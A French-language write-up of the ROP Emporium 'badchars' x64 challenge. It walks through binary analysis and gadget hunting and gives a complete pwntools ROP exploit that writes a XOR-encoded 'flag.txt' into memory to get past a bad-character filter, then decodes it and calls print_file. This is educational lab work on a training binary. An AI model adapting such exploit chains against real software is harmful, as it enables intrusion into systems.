Note

Cinquièment exo de ROPemporium, je le trouve moins sympa que les autres. Il reprend le principe du challenge précédent, mais il introduit un nouveau gadget pour contourner le “filtre”: le xor

Comme d’habitude, si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.

Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.

Et je vous conseille fortement de lire l’exercice précédent pour mieux comprendre ce que je fais ici puisque la méchanique principale est la même.

Description

The good, the bad

Dealing with bad characters is frequently necessary in exploit development, you've probably had to deal with them before while encoding shellcode. "Badchars" are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for too much RE the binary will list its badchars when you run it.
Options

ropper has a bad characters option to help you avoid using gadgets whose address will terminate your chain prematurely, it will certainly come in handy. Note that the amount of garbage data you'll need to send to the ARM challenge is slightly different.
Moar XOR

You'll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Once your string is in memory and intact, just use the print_file() method to print the contents of the flag file, just like in the last challenge. Think about how we're going to overcome the badchars issue; should we try to avoid them entirely, or could we use gadgets to change our string once it's in memory? 

File information

Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file badchars

badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped

On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé

Maintenant le checksec:

checksec badchars

[*] '/home/conflict/ropemporium/badchars_x64/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire

Exploitation

On va le lancer pour voir ce qu’il fait concrètement:

2023-01-29-174453_1698x557_scrot

On voit que si on entre un nombre élevé de bytes dans l’input le programme plante (segfault), ce qui veut dire qu’on a commencé à overwrite des registres.

Je vais passer assez vite sur la première partie de l’exploit puisque c’est la même chose que l’exo précédent

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
=> 0x00007ffff7c008fa <+0>: push   rbp
   0x00007ffff7c008fb <+1>: mov    rbp,rsp
   0x00007ffff7c008fe <+4>: sub    rsp,0x40
   0x00007ffff7c00902 <+8>: mov    rax,QWORD PTR [rip+0x2006cf]        # 0x7ffff7e00fd8
   0x00007ffff7c00909 <+15>:    mov    rax,QWORD PTR [rax]
   0x00007ffff7c0090c <+18>:    mov    ecx,0x0
   0x00007ffff7c00911 <+23>:    mov    edx,0x2
   0x00007ffff7c00916 <+28>:    mov    esi,0x0
   0x00007ffff7c0091b <+33>:    mov    rdi,rax
   0x00007ffff7c0091e <+36>:    call   0x7ffff7c007e0 <setvbuf@plt>
   0x00007ffff7c00923 <+41>:    lea    rdi,[rip+0x17a]        # 0x7ffff7c00aa4
   0x00007ffff7c0092a <+48>:    call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c0092f <+53>:    lea    rdi,[rip+0x187]        # 0x7ffff7c00abd
   0x00007ffff7c00936 <+60>:    call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c0093b <+65>:    lea    rax,[rbp-0x40]
   0x00007ffff7c0093f <+69>:    add    rax,0x20
   0x00007ffff7c00943 <+73>:    mov    edx,0x20
   0x00007ffff7c00948 <+78>:    mov    esi,0x0
   0x00007ffff7c0094d <+83>:    mov    rdi,rax
   0x00007ffff7c00950 <+86>:    call   0x7ffff7c007b0 <memset@plt>
   0x00007ffff7c00955 <+91>:    lea    rdi,[rip+0x16c]        # 0x7ffff7c00ac8
   0x00007ffff7c0095c <+98>:    call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c00961 <+103>:   lea    rdi,[rip+0x181]        # 0x7ffff7c00ae9
   0x00007ffff7c00968 <+110>:   mov    eax,0x0
   0x00007ffff7c0096d <+115>:   call   0x7ffff7c007a0 <printf@plt>
   0x00007ffff7c00972 <+120>:   lea    rax,[rbp-0x40]
   0x00007ffff7c00976 <+124>:   add    rax,0x20
   0x00007ffff7c0097a <+128>:   mov    edx,0x200
   0x00007ffff7c0097f <+133>:   mov    rsi,rax
   0x00007ffff7c00982 <+136>:   mov    edi,0x0
   0x00007ffff7c00987 <+141>:   call   0x7ffff7c007c0 <read@plt>
   0x00007ffff7c0098c <+146>:   mov    QWORD PTR [rbp-0x40],rax
   0x00007ffff7c00990 <+150>:   mov    QWORD PTR [rbp-0x38],0x0
   0x00007ffff7c00998 <+158>:   jmp    0x7ffff7c009eb <pwnme+241>
   0x00007ffff7c0099a <+160>:   mov    QWORD PTR [rbp-0x30],0x0
   0x00007ffff7c009a2 <+168>:   jmp    0x7ffff7c009d5 <pwnme+219>
   0x00007ffff7c009a4 <+170>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009a8 <+174>:   movzx  ecx,BYTE PTR [rbp+rax*1-0x20]
   0x00007ffff7c009ad <+179>:   mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009b1 <+183>:   mov    rdx,QWORD PTR [rip+0x200628]        # 0x7ffff7e00fe0
   0x00007ffff7c009b8 <+190>:   movzx  eax,BYTE PTR [rdx+rax*1]
   0x00007ffff7c009bc <+194>:   cmp    cl,al
   0x00007ffff7c009be <+196>:   jne    0x7ffff7c009c9 <pwnme+207>
   0x00007ffff7c009c0 <+198>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009c4 <+202>:   mov    BYTE PTR [rbp+rax*1-0x20],0xeb
   0x00007ffff7c009c9 <+207>:   mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009cd <+211>:   add    rax,0x1
   0x00007ffff7c009d1 <+215>:   mov    QWORD PTR [rbp-0x30],rax
   0x00007ffff7c009d5 <+219>:   mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009d9 <+223>:   cmp    rax,0x3
   0x00007ffff7c009dd <+227>:   jbe    0x7ffff7c009a4 <pwnme+170>
   0x00007ffff7c009df <+229>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009e3 <+233>:   add    rax,0x1
   0x00007ffff7c009e7 <+237>:   mov    QWORD PTR [rbp-0x38],rax
   0x00007ffff7c009eb <+241>:   mov    rdx,QWORD PTR [rbp-0x38]
   0x00007ffff7c009ef <+245>:   mov    rax,QWORD PTR [rbp-0x40]
   0x00007ffff7c009f3 <+249>:   cmp    rdx,rax
   0x00007ffff7c009f6 <+252>:   jb     0x7ffff7c0099a <pwnme+160>
   0x00007ffff7c009f8 <+254>:   lea    rdi,[rip+0xed]        # 0x7ffff7c00aec
   0x00007ffff7c009ff <+261>:   call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c00a04 <+266>:   nop
   0x00007ffff7c00a05 <+267>:   leave  
   0x00007ffff7c00a06 <+268>:   ret    
End of assembler dump.

Notre padding va être de 0x20+0x8 bytes.

readelf -S badchars
There are 29 section headers, starting at offset 0x1980:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
<...>
  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
<...>

.data est situé à l’adresse 0x00601028 et la section a le flag W, donc on peut écrire dedans.

ROPgadget --binary badchars | grep ": mov"

0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590

On a un mov qword ptr [r13], r12 ; ret situé à 0x00400634 qui va nous servir à écrire dans .data.

ROPgadget --binary badchars | grep ": pop"

0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

Avec ça, on a un pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret situé à 0x0040069b qu’on va utiliser avec le mov.

Tant qu’à faire, on peut aussi garder de côté le pop rdi ; ret (0x004006a3) et le pop r14 ; pop r15 ; ret (0x004006a0).

ROPgadget --binary badchars | grep ": xor"

0x0000000000400628 : xor byte ptr [r15], r14b ; ret

On met aussi ce xor de côté puisqu’il va nous servir à un-XOR le string une fois en mémoire.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004004d8  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  usefulGadgets
0x0000000000400640  __libc_csu_init
0x00000000004006b0  __libc_csu_fini
0x00000000004006b4  _fini

print_file() est située à 0x00400510

L’idée va donc être de:

  • Mettre dans .data un string qui correspond à “flag.txt” XORé avec une clé de 2
  • Ensuite, on va le un-XOR avec notre gadget xor une fois qu’il est déjà dans la mémoire
  • Enfin, on appelle print_file() avec notre string en paramètre

Ceci va nous permettre de contourner le “filtre” puisque le string qu’on va entrer dans l’input ne contiendra aucun des badchars, c’est seulement une fois en mémoire qu’ils seront apparaîtront (magic)

Final Payload

Voici donc notre payload:

Note: j’ai dû ajouter 8 à l’adresse de .data puisque sinon il y avait un badchar dans l’adresse elle même et elle se faisait filtrer

#!/usr/bin/env python3

from pwn import *

context.binary = binary = ELF("./badchars", checksec=False)

p = process()

p.recv()

flag = "flag.txt"
flaglist = list(flag)
xored_flag = ""

# On xor notre string
for i in range (0, len(flaglist)):
    flaglist[i] = chr(ord(flaglist[i])^2)
    xored_flag += "".join(flaglist[i])

padding = b"A"*0x20
rbp = b"B"*0x8
ret = p64(0x004004ee)

pop_r12_r13_r14_r15 = p64(0x0040069c)

# Pour éviter des problèmes de type, on va prendre uniquement la valeur décimale de .data
# +8
data = 6295600

mov_ptr_r13_r12 = p64(0x00400634)

pop_r14_r15 = p64(0x004006a0)
xor_byte_ptr_r15_r14 = p64(0x00400628)

pop_rdi = p64(0x004006a3)
print_file = p64(0x00400510)

payload = padding + rbp + ret

# On écrit notre "flag.txt" XORé dans r12, l'adresse de .data dans r13 puis on remplit les deux autres registres de null bytes
# On met ensuite notre string dans l'adresse vers laquelle pointe r13 (càd .data)
payload += pop_r12_r13_r14_r15
payload += str.encode(xored_flag)
payload += p64(data)
payload += p64(0x0)
payload += p64(0x0)
payload += mov_ptr_r13_r12

# On fait l'opération suivante 8 fois car elle doit être faite pour chaque caractère du string
# ("flag.txt" = 8 bytes)
for i in range(8):
    # On met 0x2 (càd la clé avec laquelle on a XOR notre string) dans r14
    # Puis on met l'adresse de data+i dans r15, car on va devoir un-xor caractère par caractère
    # On XOR ensuite le l'adresse vers laquelle pointe r15 (.data+i) avec r14 (la clé)
    payload += pop_r14_r15
    payload += p64(2)
    payload += p64(data+i)
    payload += xor_byte_ptr_r15_r14

# Enfin, on met notre string un-XORé dans rdi, puis on appelle la fonction print_file()
payload += pop_rdi
payload += p64(data)
payload += print_file

with open("payload.txt", "wb") as f:
    f.write(payload)
    f.close()
 
p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))

On peut tester le payload pour s’assurer qu’il fonctionne:

2023-01-29-202357_1179x660_scrot

Et il fonctionne ! gg !